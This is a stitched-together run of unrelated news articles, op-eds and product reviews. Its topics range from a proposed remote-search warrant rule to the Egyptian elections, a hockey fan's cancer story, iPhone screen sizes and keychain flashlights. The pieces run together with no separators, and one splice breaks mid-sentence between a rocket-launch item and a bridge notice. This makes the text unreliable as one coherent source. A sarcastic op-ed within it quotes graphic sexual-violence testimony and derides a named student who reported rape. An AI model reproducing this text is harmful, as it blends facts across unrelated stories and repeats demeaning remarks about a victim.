Orin Kerr, a professor of law at George Washington University and one of three committee members who is not a sitting judge or prosecutor, raised similar questions to his fellow committee members in memos also included in the 402-page proposal.
Under the proposal, Kerr points out that gaining user data via this proposed method as a matter of course will “have two major policy implications” in terms of how searches are executed and whether and how the target is notified. The first, he notes, would make it more likely that law enforcement would use this delayed-notice, remote-search tactic. The second, these new warrants would allow the government to avoid issuing individual warrants to individual companies under the Electronic Communications Privacy Act (ECPA).
At present, Kerr writes, getting user data from Apple, Dropbox, and Amazon requires three separate warrants issued to those three different companies.
Critically, this means that the government must show probable cause as to each service. It must show that there is probable cause to believe that there is evidence in the Dropbox account; probable cause to believe that there is evidence in the Google Cloud account; and probable cause to believe that there is evidence in the Amazon Cloud Drive account. I gather that this would no longer be true under Mr. Wroblewski’s proposed rule. Because all of the accounts would be accessible through remote access, the government could obtain a single warrant to search the target’s home and all of their cloud services together. Investigators could search directly instead of obtaining ECPA warrants. There would only need to be one showing of probable cause, not many. The only issue would be existence of probable cause somewhere in computers owned and operated by that person, rather than probable cause as to evidence being located in each place (whether physical or in the cloud) where the warrant would be executed. I can appreciate the view that these two changes are beneficial changes. They are understandably attractive to law enforcement: They enable the government to search more and with less notice to targets. Replacing physical searches with remote searches also has the salutary effect of less intrusive searches, at least if the remote searches are not later followed by subsequent physical searches. At the same time, there are also significant arguments on the other side. Some may prefer a stronger notice requirement and may object to a new norm of delayed-notice remote searches. Others may prefer requiring the government show probable cause as to each cloud service. Either way, choosing between the two rules requires difficult decisions about how to balance law enforcement and civil liberties concerns.
Hanni Fakhoury, a staff attorney for the Electronic Frontier Foundation, wrote that the EFF agrees with Kerr's concerns. "There are serious particularity problems with allowing the government to search multiple computers remotely," Fakhoury wrote. "What's even more troubling is we know that these 'network investigative techniques' are really just malware that is capable of hijacking a computer. These sorts of invasive tools require vigilant oversight and should be used in only the most extreme of circumstances."Trampolinist Ji Wallace says he was inspired to be open about his HIV status after watching an interview with US diver Greg Louganis
Gay Australian Olympic trampolinist Ji Wallace has publicly revealed he is HIV positive while attending the London 2012 games.
Wallace opened up about his HIV status in a letter sent to the Star Observer, saying he was inspired by US diver Greg Louganis’s experience of living with the virus and being gay.
‘I have been contemplating writing this for a while,’ the athlete told the Aussie newspaper.
‘I caught a CNN Piers Morgan interview with Greg Louganis here in London. It made me think and think and I couldn’t sleep, so I wrote.’
Wallace, who won a silver medal in the Sydney Olympics in 2000, added he was also inspired by news anchor Anderson Cooper’s coming out letter in July which spoke of the ‘value in being seen and heard’ in the face of persecution by friends, family and society.
‘I too have been that victim of these atrocious behaviours. Luckily I managed to come through,’ he said.
Wallace is in the UK capital to watch the men’s trampoline event and has been attanding the Pride House venue for LGBT athletes.
He added: ‘Being seen does have value. A voice does have value. I have the support of my boyfriend, my great friends and my loving parents. Many do not and this is, in part, for them.’Update: U.S. District Court Judge Timothy Black has scheduled a hearing Monday at 1:30 for this case. Attorneys for Jim Obergefell and John Arthur and attorneys from the Ohio Attorney General's Office will present their case.
A Cincinnati gay couple has filed a federal lawsuit to have their Maryland marriage recognized in Ohio. Since 2004 Ohio has had a constitutional ban on same-sex marriages. In this case, one of the spouses is dying and attorney Al Gerhardstein has asked the court expedite this case involving Jim Obergefell and John Arthur.
"We do hope to build from here, and have this be the first step towards marriage equality in Ohio. But for now, we just want to be sure that when John dies, the death record shows him as married."
Gerhardstein says it only makes sense that the state recognize the marriage, given if first cousins go to another state and marry where it is legal, Ohio will recognize their out of state marriage.
The defendants in this lawsuit, Cincinnati and Ohio, will fight it. Attorney General Mike Dewine says, "The voters of Ohio voted on this and they made their decision. It's my obligation to defend that decision until or unless the voters change their mind."
On July 11 Obergefell and Arthur (who has ALS) took a medically-equipped private plane to Maryland to get married.
A court hearing before U.S. District Court Judge Timothy Black is scheduled for Friday afternoon in Cincinnati.“21st Duck” Katie Hawley poses with her favorite Ducks player Rickard Rakell before Thursday night’s game. The Ducks were playing Arizona in the season opener at the Honda Center in Anaheim, CA on Wednesday, October 4, 2017. (Photo by Bill Alkofer, Orange County Register/SCNG)
“21st Duck” Katie Hawley poses with her favorite Duck player Rickard Rakell before Thursday night’s game. The Ducks were playing Arizona in the season opener at the Honda Center in Anaheim, CA on Wednesday, October 4, 2017. (Photo by Bill Alkofer, Orange County Register/SCNG)
Sound The gallery will resume in seconds
Riley Hawley talked with Ducks announcer Kent French, right, and Rickard Rakell before the game. The Ducks were playing Arizona in the season opener at the Honda Center in Anaheim, CA on Thursday, October 5, 2017. (Photo by Bill Alkofer, Orange County Register/SCNG)
Katie Hawley stands between Ducks’ Corey Perry and Rckard Rakell in a pregame ceremony. The Ducks were playing Arizona in the season opener at the Honda Center in Anaheim, CA on Thursday, October 5, 2017. (Photo by Bill Alkofer, Orange County Register/SCNG)
Katie Hawley looks up at the Ducks’ Corey Perry during a pregame ceremony. Hawley, a San Juan Hills High student who is battling cancer, was selected as the team’s Honorary “21st Duck.” (Photo by Bill Alkofer, Orange County Register/SCNG)
ANAHEIM — She was done, no more fighting, and she told her parents just that.
The cancer, back for a third time, had won, Katie Hawley ready to concede to a disease that already had taken so much, so why not take her life now, too?
She was done. She was 16.
“I came to tears several times,” her father, Bob, said. “Having that conversation with your daughter is just not normal. It’s the furthest thing you ever would think of. It was devastating.”
Related Articles Ducks storm back from 3-goal deficit, stun Coyotes in opener
Anaheim Ducks complete 2017-18 season preview On Thursday night, wearing an official jersey, Katie skated onto the ice at Honda Center with the Ducks, the No. 21 on her back signifying her status as the team’s honorary 21st player.
The final one introduced during pregame ceremonies, she was escorted to center ice by her favorite Duck, Rickard Rakell, and Corey Perry, the trio’s arrival completing a circle of teammates around the club’s giant logo.
On opening night, the Ducks first opened their hearts and let a beautiful story flow free.
“This distracts me,” Katie said. “It gets my mind away from thinking about the cancer and how I’m sick. The Ducks have gone so far above and beyond in showing me that I do have a reason to live.”
Maybe you don’t root for this team. But, for one night, it was impossible not to be a Ducks fan.
And it was equally impossible, three periods and a three-goal comeback later, to not see the beauty of a story that ended with Rakell scoring the game-winner in the final minutes, as television cameras captured Katie screaming in disbelief from her seat.
Katie Hawley knows who that goal was for @AnaheimDucks #DucksOpeningNight pic.twitter.com/s2MQkqpmTk — FOX Sports West (@FoxSportsWest) October 6, 2017
“It’s kind of a Cinderella story, I guess,” Rakell said after completing the Ducks’ improbable – and yes, fairytale – 5-4 win. “It couldn’t have ended any better.”
Added Katie, with a voice hoarse from all the delightful shrieking, “I knew he was going to score. I knew he wanted to so badly.”
The diagnosis came when she was 9. Neuroblastoma. It began as a stomach ache, one that lasted for two weeks until a doctor at an urgent care facility felt the first tumor, in her belly.
Katie has since had two tumors removed from her abdomen. The disease also has appeared in her hips and spine and twice in her skull.
She has undergone at least a dozen major surgeries, 40-plus blood transfusions and maybe 50 chemotherapy and radiation treatments. Maybe more.
In December, when doctors informed her that the cancer was back again, Katie sat with her parents and talked about wanting to join Jesus in heaven.
“It was a shock for her to have doctors say for a third time, ‘We’ve got to go back into treatment,’” Bob said. “It’s tiring. This has been eight years now. It has been a difficult journey. But we don’t have any other choice.”
The Hawleys have tried experimental procedures, including one that required several round-trips to New York for a series of seven injections. Nothing has stopped a disease so insidious that it can remain hidden even from bone scans.
Katie is a Courageous Kid with the Jessie Rees Foundation, a non-profit organization that operates under the motto “Never Ever Give Up.”
She speaks on their behalf to others with cancer. She has helped raise awareness through the Pediatric Cancer Research Foundation and the American Cancer Society.
She also started a program called Stuff Our Slippers in which she and her mother, Mary Kay, have distributed slippers filled with toys to kids at Children’s Hospital Los Angeles.
“I wanted to give back even though I was still struggling,” said Katie, who turned 17 in March and is a senior at San Juan Hills High. “I wanted to give back in the best way I could. Seeing a smile on their faces would make us feel happier and make our day easier, too.”
No, this was not a girl who, ultimately, was going to give up.
About a year ago, on the occasion of their one-month anniversary, Katie’s boyfriend, Jacob Brandon, bought her tickets for a Ducks game.
She noticed during warmups that only one of the players seemed to be putting the puck in the net.
“I was like, ‘OK, No. 67 is going to score. I know it,’” she recalled saying that night. “I just had a weird initial instinct that he was going to score and be really good for the year.”
Rakell did score in that game, one of the 33 goals he had last season to lead the Ducks.
Video: Ducks win home opener in dramatic fashion
Over the summer, through the Jessie Rees Foundation, Rakell sent Katie a video from his home in Sweden wishing her well and encouraging her to continue fighting.
Last week, he surprised her with an in-person visit informing her that she had been selected to be the 21st Duck.
“It was super sweet that he had time to come see a little 17-year-old girl and be as kind as he was,” Katie said. “I’ve met a lot of celebrities, but my mom said he was the only one where my face actually turned red and I got super nervous.”
To understand the significance of that statement, consider that this is a girl who, through the Make-A-Wish Foundation, once spent 45 minutes hanging out with Justin Bieber.
And, now, she’s an Anaheim Duck, Katie walking the orange carpet with the rest of the players before the game, posing for pictures and signing autographs despite repeatedly telling the screaming crowd, “I’m not a celebrity. I’m really not.”
“Having Katie’s endorphins happy and focused on something else … it takes away the desperation and the anxiety,” Mary Kay said of her daughter. “It allows her to keep fighting. It really does.”
On Monday, Katie goes back to the hospital for another round of treatment. Behind her will be Rickard Rakell and the rest of the Ducks, a team that didn’t quit on opening night surrounding a girl who refused to quit on so much more.Smoke, fire … and fog? Following a successful Falcon 9 launch and high-impact landing on Friday off the coast |
of the bridge via Hwy. 401.
Boats that are less than four metres high above the waterline can pass under the causeway’s east bridge.
Natural gas to be released
On Thursday morning, Kingston residents may notice a venting flame or gas odour at Lower University Avenue and Stuart Street, but there’s no need for alarm.
The sights and smells will be a result of a planned release of natural gas, scheduled for just an hour.
It will be a controlled operation to depressurize a section of pipe so that Utilities Kingston can make necessary repairs.
The release will not affect Kingston General Hospital of Queen’s University.
Vehicle strikes hydro pole
The Prince Edward County OPP are investigating a car crash on County Road 3.
A single vehicle struck a hydro pole just before noon on Tuesday.
No injuries were reported and the road was reopened later that afternoon.
Anyone with information about this crash are asked to contact Prince Edward County OPP at 613-476-2151 or 1-888-310-1122.
— The Whig-StandardElBaradei's emergence as a political player has resuscitated ailing public political discourse within Egypt [EPA]
An understated cartoon by Amr Okasha published in the online version of the opposition newspaper al-Dustour, aptly expressed the pessimism that many people have about the upcoming parliamentary elections.
Okasha’s cartoon shows the distinctive dome of the Maglis al-Sha‘b – the Peoples’ Assembly. A smirking general standing in front of it. The caption says “Businessman’s Assembly (formerly People’s Assembly).”
As the cartoon implies, no doubt seats in the parliament can be bought (as of course is also the case in the American Congress). But more importantly, whatever the percentage of opposition candidates allowed to take parliamentary seats by the ruling National Democratic Party, the neoliberal businessmen’s agenda will remain untouched.
Privatisation of public services will continue, inevitably pricing many out of “markets” for services they had formerly received from the state. Society will be more sharply polarised between the few who benefit spectacularly from free market fundamentalism and the many who are increasingly impoverished by it.
An effective minister of parliament can bring some public or private money to his or her district, but nobody has the slightest expectation that parliamentary elections will create momentum towards democracy. The protection of powerful economic interests at the expense of democracy is business as usual in the logic of a neoliberal regime.
Possibility of transition
But this does not mean that interest in Egypt’s November 2011 parliamentary election is low. The election itself is not the real story. It is rather the possibility of a transition from the Mubarak era to something else that has powerfully caught the public’s imagination.
In this wider context, interest in politics is intense. Jaded intellectuals who would otherwise consider this sort of politics a bit vulgar argue vociferously about the fortunes of ElBaradei and the intentions of the Muslim Brotherhood (MB). One sees such unfamiliar sights as men standing in the street having heated discussions about the latest headline in an opposition paper. An unfamiliar excitement is in the air.
The most important aspect of the parliamentary election is not how many seats are won on election day by opposition parties (or how many the NDP decides to let in the door). It is the decisions made by the major players to either participate in the NDP’s rigged game, or to boycott the elections altogether.
The players
The major players are not political parties. One is Mohamed ElBaradei, the retired head of the International Atomic Energy Agency. He is admired as a native son who reached the highest levels of international diplomacy, and stood up to the Americans on the issue of nuclear weapons inspections in Iraq.
ElBaradei has skillfully built a network of local advisors, and until recently has blunted any accusations that he is out of touch with Egypt after a career spent abroad. The NDP is alleged to have begun an offensive against ElBaradei’s character by anonymously publishing photos on Facebook of his daughter in a bikini and the family swilling alcohol.
ElBaradei is thought to have presidential aspirations, though he has never said so unambiguously. He has, however, formed a non-partisan “National Association for Change” which aims to reform the constitution, most crucially an article that effectively prohibits independent candidates for running in presidential elections. Whether or not ElBaradei ever becomes president, he is immensely important as a symbol of alternatives to the continuation of the current regime.
Ayman Nur of the Ghad (tomorrow) party played something of the same role in the 2005 election, and he was able to ride the momentum of the Kefaya movement (kefaya means “enough,” i.e. of rule by Mubarak, his son Gamal who is being groomed to succeed his father in the presidency, and the NDP). But Nur was a former MP himself, and too much of a political insider to inspire the same hopes as ElBaradei. When Nur was incarcerated after the 2005 election on blatantly trumped up corruption charges there was no popular uprising in his defence.
Untouched but in touch
By contrast, ElBaradei is seen as both a genuine outsider untouched by the rampant corruption of the Mubarak era and, thus far, as genuinely in touch with the political frustrations of average Egyptians. It might not be as easy for the state to push ElBaradei off the political stage as it was to neutralize Ayman Nur.
ElBaradei has already declared publicly that individuals and political parties should boycott the parliamentary election.
This, he believes, will strip the NDP of all legitimacy and force a turn to true democracy. The country now awaits the decision on boycott of the other important non-party participant in the elections, namely the Muslim Brotherhood. The MB has not been allowed to form a political party (though some of its adherents spin this as a tacit arrangement whereby the MB stays formally out of politics in exchange for the government ceding “the people” to it).
However MB candidates ran as independents in the 2005 election, and currently occupy 20% of the seats in parliament. It would cause a political earthquake if they joined the boycott, but it is unlikely that they will do so. Nor is it likely that secular opposition parties such as the liberal Wafd or the socialist Tagammu' parties will stay on the sidelines.
Hereditary succession?
Hovering over the entire parliamentary election process is the spectre of taurith – of Hosni Mubarak’s son Gamal Mubarak inheriting the presidency. Gamal Mubarak has no natural constituency. He would be the first post-independence president to have attended a private university (the American University in Cairo) rather than a state institution. He never had to work his way up through the vast political patronage system of the Egyptian state, and he has never held a meaningful ministerial post.
No doubt there are sincere Gamal Mubarak supporters somewhere, and a somewhat larger number of Egyptian citizens who support him as “the devil we know.” However it would be fair to say that most of the country loathes the prospect of a Gamal Mubarak presidency. Hence the real issue in this election is not how many seats opposition parties might win, but how the political players position themselves through the election for the upcoming challenge of ElBaradei.
Dreaming of real democracy
It is still unclear whether the elder Mubarak is ready to retire. The presidential election is scheduled for 2012, and it is not inconceivable that Hosni Mubarak will announce that he is game for another term in office.
However even if he does defer the expected attempt to handoff to Gamal, ElBaradei’s constitutional challenge will not disappear, and it ultimately implies a rejection of the endlessly extended “State of Emergency” law that has been in place since Anwar al-Sadat’s assassination in 1981. It is the State of Emergency that underpins the Mubarak regime and the rule of the NDP.
Hence one might be able to posit a scenario in which the state is left with no choice but to throw the political system – both the parliament and the presidency – open to true competition. The emergency law would be abolished, state torture and police brutality would be curbed, and corruption would be tamed.
However one can just as easily see this scenario leading full circle back to Amr Okasha’s cartoon. Would a freely elected government follow the businessmen’s neoliberal agenda? If not, would the businessmen and the army allow it to stay in power? Probably not. It is almost impossible to imagine the NDP allowing enough MB candidates into parliament to govern, but if the unthinkable happened, how would the United States react?
Brutal sanctions imposed on the democratically elected Islamist government in Gaza perhaps give a hint as to how the US would deal with a Muslim Brotherhood government in Egypt. A similar policy applied to Egypt would cause immense suffering, but the US has shown itself capable of such actions.
If Gaza is not enough of a warning, one recalls the time when former Secretary of State Madeleine Albright was asked to comment on allegations that American-led sanctions against Iraq had caused the deaths of up to half a million children, she did not dispute either the claim or the numbers. Instead she replied that, “we think the price is worth it.”
Hopefully no such price will ever be levied on the Egyptian public for daring to dream of real democracy, but it cannot be denied that the coming cycle of elections will be both exhilarating and perilous.
Dr. Walter Armbrust is Hourani Fellow and University Lecturer in Modern Middle East Studies at Oxford University. He is the author of Mass Culture and Modernism in Egypt (Cambridge University Press, 1996).
The views expressed in this article are the author's own and do not necessarily reflect Al Jazeera's editorial policy.Paris-based DJiT, the French startup behind the popular DJ app edjing and, more recently, a hardware device called Mixfader, has raised a further $2.6 million.
The new round of funding — its first since raising $2.5 million back in late 2013 — was led by XLR Capital and Bpifrance, along with participation from a number of individuals. They include Jean-Charles Carré, manager of David Guetta, and DJ and producer Martin Solveig, who also join DJiT’s new advisory board.
Stéphane Bohbot, founder of Innov8 Group, also invested and is being namechecked specifically for his expertise in retail and connected objects, something that the startup hopes to leverage as it seeks growth through hardware, not just software.
To that end, DJiT says it plans to use the additional capital to enlarge its product range, develop its international partners network and to accelerate ongoing sales negotiations.
That should see it get Mixfader, its connected hardware mixing and “scratching” device, into more European stores beyond the company’s own internationalized website and existing partnerships with French stores Boulanger, Colette, Lick and Fnac.
Jean-Baptiste Hironde, CEO of DJiT, says in a statement: “Our ambition is to make DJiT the first app and physical products ecosystem fully dedicated to music. This strategy led us to be one of the best candidate to become the first French unicorn of the music sector.”Final Fantasy XV Collaborating With Just Cause Developers For Flight Capabilities
By Sato. August 7, 2015. 6:41am
Final Fantasy XV director Hajime Tabata had a lot to share during his recent Active Time Report at Gamescom 2015, and he still had a little bit more to reveal in an interview with Famitsu.
During the interview with Famitsu, Tabata mentioned that he’s just been allowed to make public that Final Fantasy XV and Just Cause 3 developers Avalance Studios are working on a technical collaboration for Final Fantasy XV.
According to Tabata, the technology behind Just Cause’s aerial controls are highly unique, and the way it is done seamlessly is something that you don’t see often from other games or studios.
“We don’t have any knowhow when it comes to that, so during this year’s GDC we spoke with them, and they also showed some interest in the technology behind Final Fantasy XV, so the talks continued from there, and now I’ve been given the permission to make it public just today,” says Tabata. “This is something that barely started out, but it’s something of which both the Final Fantasy XV team and Avalanche Studio team have very high expectations.
Famitsu asks what kind of aerial control technologies from Just Cause are they planning to implement into Final Fantasy XV.
“My personal goal is to implement airships that can fly around in full-scale,” responds Tabata. “I’m not certain whether we’ll be able to make it on time for the retail release, but I think we should do even if it means releasing it after as a download. I’d like to have the challenge of being able to fly around the world. I would like to experience that, and I’m sure the fans would also like to experience that, too.Never mind the crucifixion, enslavement, torture, imprisonment, gang-rape and beheading of just a few thousand Christian, Sunni and Yezidi women in Iraq and Syria. An American feminist campaigner has just reminded us the real problem lies at home: with the tens, if not dozens, of vulnerable girls on US college campuses whose orchestrated rape every year by gangs of ISIS-like football jocks and Phi Beta Kappa preppies has gone almost completely ignored by the authorities.
The article in Ms Magazine by Amy Lauricella – staff attorney at Global Rights for Women – is sensitively titled Institutionalized Rape: It’s Not Just an ISIS Problem.
It offers an invaluable corrective to the naive perspective that life for women under the so-called Islamic State in Iraq and Syria is almost uniquely barbaric and quite without parallel anywhere in the Western World.
Sure women don’t have it exactly easy under IS, Lauricella concedes, with reference to reports like the one from Human Rights Watch. This says that at least 3,000 Yezidi women are known to be in ISIS captivity – many of them, including girls as young as eight, brutally gang-raped on an almost daily basis by jihadists who consider them as sub-human kuffar, fit only to be used as sex slaves.
Here is one girl’s account of her experiences:
From 9:30 in the morning, men would come to buy girls to rape them. I saw in front of my eyes ISIS soldiers pulling hair, beating girls, and slamming the heads of anyone who resisted. They were like animals…. Once they took the girls out, they would rape them and bring them back to exchange for new girls. The girls’ ages ranged from 8 to 30 years… only 20 girls remained in the end.
However, as Lauricella goes on to note, we should not allow ourselves the luxury of imagining that young American male college students on the leafy campuses of Yale and UVA are in any way less uncivilized than their bearded, Kalashnikov-touting counterparts in the deserts of Syria and Iraq.
As she puts it:
Merely distancing ourselves from “them” and their immoral behavior doesn’t help break down the barriers women still face in our own society.
Indeed. And to prove just how bad the situation is in the US, she sets out the full horrific details:
The U.S. Department of Education is investigating more than 100 universities for their inadequate responses to sexual assault complaints. A Yale fraternity remains suspended after pledges marched on campus in 2010 chanting “No means yes, yes means anal,” leading to a federal investigation of the college’s “failure to eliminate a hostile sexual environment.”
Unfortunately when Human Rights Watch was interviewing traumatized Yezidi escapees from ISIS capture, one of the questions it neglected to ask them was: “Which would you find more challenging to your safe space: a) being gang-raped by hordes of unwashed, bearded men smelling of rancid goat, cordite and freshly decapitated head? or b) being chanted at boorishly by a group of frustrated, freshman virgins in Brooks Brothers’ shirts with button-down collars?”
We can only assume – as Lauricella has clearly done – that the Yezidi women’s answer would be: “I would find both a) and b) equally reprehensible for rape is rape in all its manifestations be they literal or verbal. There really is totally no difference whatsoever between the experience of Yezidi girls in Raqqa who have slashed their wrists or electrocuted themselves rather than undergo another days brutalizing by their ISIS slavemasters and, that of, say, Emma Sulkowitz, the “mattress girl”, who wasn’t quite so literally raped by a fellow student at Columbia University, but nevertheless felt compelled to commit reputational suicide by appearing in a sordid porno video in which she forced herself to perform fellatio on an overweight man 11 times in succession.”
Something like that, anyway.
Says Lauricella:
ISIS’ treatment of Yazidi women as sexual slaves may seem far removed from fraternity or athletic team members’ treatment of women as sexual objects for conquest, however the results are distressingly similar. As tempting as it is to deny the parallels, we must acknowledge that institutionalized rape exists throughout the world and in the face of legal prohibitions. Recognition will help identify and eliminate the behaviors within our own culture.
Indeed.Apple leaks follow a familiar pattern. The true ones are quickly backed up by additional leaks and circumstantial evidence. The false ones are met with stony silence and fade away and the concerning thing is this has so far been the response to reports last week that Apple will make a 4-inch iPhone 6.
To many, myself included, Apple not making a 4-inch iPhone 6 (perhaps ‘iPhone 6 mini’ or ‘iPhone 6C’) is madness. Then again Apple not making a 4-inch iPhone 6 at the time it announced the 4.7-inch iPhone 6 and 5.5-inch iPhone 6 Plus felt equally crazy.
So while I’m not in favour of Apple only selling iPhones in larger sizes, it is worth playing devil’s advocate and trying to understand why the company would be so quick to dump the smaller screens which have served it so well for 7 generations.
Read more - New 4-inch iPhone 6 Reported. 5 Reasons Apple Must Make It
1. Market Demand
While vocal, those still desperate for a 4-inch iPhone 6 may be in a smaller minority than they imagine.
Data from analyst IDC in September found growth in the ‘phablet’ market (which it defines as 5.5-inch to sub-7-inch devices) is going to increase by 209% by the end of year. By comparison growth in regular smartphones will have grown just 12.8%. This will go on for some time as well as growth rates for phablets is still expected to be more than 5x that of smaller smartphones (16.6% vs 3.2%) by the end of 2018.
Furthermore China, a major target for Apple, has long coveted phablets with many owners using them instead of a laptop or desktop computer altogether.
Consequently there is a clear business argument for Apple to size up its iPhones rather than keep a smaller version.
Read more - iPhone 6 Plus Vs Galaxy Note 4 Review: 2014's Biggest Phone Fight
2. Changing Usage
What drives this growth in big screen phones is changing usage. In short: smartphones are no longer primarily used as phones. In fact some may argue they never were (smartphones tend to be small computers that just happen to make phone calls).
This change has been going on for some time. For example, way back in June 2012 UK carrier O2 observed that making calls was only the fifth most frequent activity on a smartphone. It had fallen behind web browsing, social media, listening to music and gaming (graphic below). Emails and messaging back then were still less popular than phone calls, but it is hard to see that still being the case today.
As such if your phone is no longer predominantly a phone, it doesn’t need to be phone sized. Media consumption is most enhanced through a larger screen (which also drives purchases of more apps, video, music, etc) so smaller screens are marginalised.
3. Apple Watch Booster
Of course a common counter argument to point 2 is that larger screens make big phones more inconvenient to use one handed and that is undeniably true.
Then again Apple has a plan for this: the Apple Watch. For the times when your big phone isn't convenient to use the Apple Watch is designed to provide at-a-glance information. Don’t want an Apple Watch? Perhaps that will change after six months with the iPhone 6 Plus.
Read More - Apple Watch: Everything You Need To Know
4. The iPhone 6 WILL Get Smaller
One of the things which struck me most in my iPhone 6 review is that the 4.7-inch device is just as large as many 5-inch Android phones and not even that much smaller than the 5.5-inch LG G3 (above) because of its large top and bottom bezels.
This will inevitably change. Ever smaller bezels have become a battleground for smartphone manufacturers to offer an aesthetic advantage. When Apple finally gets around to cutting the bezels down on the iPhone 6 (the home button will have to adapt) a 4.7-inch iPhone may not be that much bigger than the 4-inch iPhone 5S given it also has large bezels.
This is unlikely to happen before a design refresh (so iPhone 7 in 2016 rather than iPhone 6S in 2015) but launching a 4-inch iPhone 6 that may not have a place within the line-up inside two years doesn’t make a lot of business sense and even risks cannibalisation.
Read more - iPhone 6: Owners Must Adapt To 5 Big Changes
5. Lack of Competition
One of the strongest arguments for a 4-inch iPhone 6 is that there is no real competition from rivals at this size. All so-called ‘mini’ Android phones like the Samsung Galaxy S5 Mini and Sony Xperia Z3 Compact are actually 4.6-inches and above making them rivals for the iPhone 6.
That said of these mini and compact phones the only rival with truly cutting edge specs is the Sony Xperia Z3 Compact, the rest are mid-range at best. Furthermore with rival manufacturers all seemingly determined to keep going bigger and bigger each new generation is actually less of a threat to the 4.7-inch iPhone 6 than the last. For example:
Read more: iPhone 6 And iPhone 6 Plus vs iPhone 5S And iPhone 5: Should You Upgrade?
Sad Facts
Despite all this I do think it would be a great shame if Apple didn't make a 4-inch iPhone 6. Asking long-time users to completely ditch a form factor they know and love is a big ask and getting them to do so only because they have no other choice long term if they are going to stick with Apple is tough.
Then again Apple is a business. Industry data says that for the majority bigger is better and it is also where market momentum will lie for the next 3-4 years. Yes Apple still could surprise us with a 4-inch iPhone 6 (as a budget option alongside an iPhone 6S and iPhone 6S Plus in late 2015 would be a good fit), but I just can't see it.
___
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More on ForbesWarren Buffett responded Monday to Donald Trump's attacks on his tax payments, offering income tax information and criticizing the Republican presidential nominee for not releasing his own tax records.
In Sunday night's presidential debate in St. Louis, Trump claimed that Buffett took a "massive deduction" while defending his claimed $916 million loss in 1995 that allowed him to avoid federal income tax in at least some years. Buffett, a supporter of Democratic nominee Hillary Clinton, said Monday that Trump "has not seen my income tax returns."
"I have paid federal income tax every year since 1944, when I was 13. (Though, being a slow starter, I owed only $7 in tax that year.) I have copies of all 72 of my returns and none uses a carryforward," Buffett said in a statement.
Trump has gone against recent presidential nominee precedent in not releasing tax returns, claiming he cannot because he is under audit. His election rival Clinton and other critics have contended he refuses to do so because the returns would expose use of tax loopholes, potential conflicts of interest in his business dealings or fewer charitable contributions than he publicly claims.
Trump's 1995 return was given to The New York Times and the newspaper first reported on it.
Buffett, the billionaire CEO of Berkshire Hathaway, said he is currently under audit and has "no problem in releasing (his) tax information while under audit."
"Neither would Mr. Trump — at least he would have no legal problem," Buffett said in a statement.
Buffett said that his 2015 return shows adjusted gross income of $11.56 million. He had total deductions of $5.48 million, which includes $3.47 million for allowable charitable contributions. He said he paid federal income tax of $1.85 million.
Buffett said he made $2.86 billion in charitable contributions for the year. More than $2.85 billion was not taken as deductions.If you’ve never carried a flashlight by your side daily, it may not sound that useful. But much like a pocketknife or a lighter, once you begin carrying a keylight, you begin to see uses for it everywhere. Eventually you begin to wonder how you ever lived without one.
If you’re looking for the TL;DR version, jump to the bottom to see my top recommendations.
I still remember the first time I used a keychain flashlight and saved myself some grief. It was a classic “fumbling with keys in the dark” moment. I had parked my car in a woodsy area off the road from where I worked. By nightfall it had become a minefield of rocks and tree branches, the kind of place where you might accidentally sneak up on a skunk or other critter. What’s worse, it was a moonless and overcast night, and the darkness was so inky, I could barely see my white car! I had to stumble over a rock before I remembered that I was actually carrying a light with me: a rinky-dink combination LED and carabiner.I was so used to thinking of it as the hook that attached my water bottle to my bag, I had forgotten it had a built-in flashlight. When I turned it on, I could see everything so clearly that I actually chuckled at myself for not thinking of it sooner. Instead of taking slow, cautious steps over the rocky ground, I was able to breeze right up to my car, unlock it, and get on the road after a long day’s work. From that point on, the problem wasn’t remembering to use my flashlight – it was keeping it loaded with fresh batteries!
So if you’re bewildered by all our gear, technical specifications, and unfamiliar brand names, no worries! As of this post I’ve been at Battery Junction for just over a month, and I feel like I’ve just dipped my toes in the water. In fact, part of the reason I’m writing this post is because I’m considering picking up a couple of these lights for myself and my loved ones. Let’s take a look at some of the coolest keylights in our inventory and find you a good match.
The Mini-1 is so adorable I could explode. This stubby little guy is basically the size of a pen cap, but it blasts out an impressive 130 lumens, which puts it near the top of this list in terms of raw power. The real kicker is the durability of its construction. Machined out of stainless steel, the Mini-1 is rugged, waterproof, and 1M impact resistant. It’s far and away the toughest of the keylights I’m reviewing. It’s almost like they knew you’d be clipping it to your keychain and then dropping it. God, why is it so adorable? It comes with a rechargeable battery, and you can recharge it with a micro-USB cord. Cute overload!
How it ranks:
Easily the most durable keylight on this list!
In terms of brightness, it’s essentially tied for second place with the 132 lumen Titanium Innovations Illuminati.
Tied with the Photon for smallest form.
Moderately pricey, but probably the last keylight you’ll ever have to buy.
I’m not gonna lie: we give these out for free on orders of $20+ because we know they’ll get you hooked. I wouldn’t blame you if you saw the $0.99 price tag on these and figured they’re cheap and mediocre, but as one of our highest-rated products, the 5 star reviews just keep pouring in. I grabbed one from the Warehouse, and I can totally see why customers are inclined to rave about the Keylight. It’s super tiny, about as light as a pen, and feels really natural between your thumb and forefinger. The button on it is very soft and easy to operate. Combined with fun colors for both the body and the LEDs, these are perfect for kids as safety lights. Buy them by the handful and give them away as stocking stuffers. Heck, if you want to buy in bulk for your company, event, or promotion, did you know we can even make them with custom labels? If you want to see how handy it can be to add a keylight to your everyday gear, but want to stay frugal, start here.
How it ranks:
Hands-down the cheapest keylight we offer, but still boasts impressive quality.
Second-smallest light on the list.
One of the highest-rated products we sell (5 stars, over 40 reviews).
I’d call the Micro-Light II the “big brother” of the Titanium Innovations KEYLIGHT, since it upgrades several key features. But the Photon is smaller than the KEYLIGHT, which kind of mucks up my whole “big brother” comparison. Oh well. The point is, it’s brighter, more durable, and slimmer than the KEYLIGHT, while still retaining the same basic form and simplicity.
The Photon Micro-Light II is the only light on this list to offer two on-off switches: a toggle switch for constant-on, and a thumb-press button if you just need momentary light. The LEDS are available in a variety of colors, some of which have neat properties or applications. (See a more detailed explanation of the uses for each color on the product page.)
How it ranks:
Tied with the Mini-1 for smallest form.
Tons of LED colors available if you have specific needs, or like rainbows.
